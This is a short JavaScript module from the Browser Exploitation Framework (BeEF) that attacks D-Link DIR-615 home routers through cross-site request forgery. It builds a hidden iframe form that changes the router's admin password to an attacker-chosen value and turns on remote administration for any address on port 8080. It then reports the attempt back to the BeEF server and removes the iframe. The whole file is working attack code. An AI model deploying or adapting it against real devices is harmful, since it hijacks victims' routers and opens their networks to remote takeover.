32 lines
1.2 KiB
JavaScript
32 lines
1.2 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
var gateway = '<%= @base %>';
|
|
var passwd = '<%= @password %>';
|
|
|
|
var dir615_iframe = beef.dom.createIframeXsrfForm(gateway + "tools_admin.php", "POST",
|
|
[{'type':'hidden', 'name':'ACTION_POST', 'value':'1'} ,
|
|
{'type':'hidden', 'name':'apply', 'value':'Save Settings'},
|
|
{'type':'hidden', 'name':'admin_name', 'value':'admin'},
|
|
{'type':'hidden', 'name':'admin_password1', 'value':passwd},
|
|
{'type':'hidden', 'name':'admin_password2', 'value':passwd},
|
|
{'type':'hidden', 'name':'rt_enable', 'value':'on'},
|
|
{'type':'hidden', 'name':'rt_enable_h', 'value':'1'},
|
|
{'type':'hidden', 'name':'rt_ipaddr', 'value':'0.0.0.0'},
|
|
{'type':'hidden', 'name':'rt_port', 'value':'8080'}
|
|
]);
|
|
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
|
|
|
cleanup = function() {
|
|
document.body.removeChild(dir615_iframe);
|
|
}
|
|
setTimeout("cleanup()", 15000);
|
|
|
|
});
|
|
|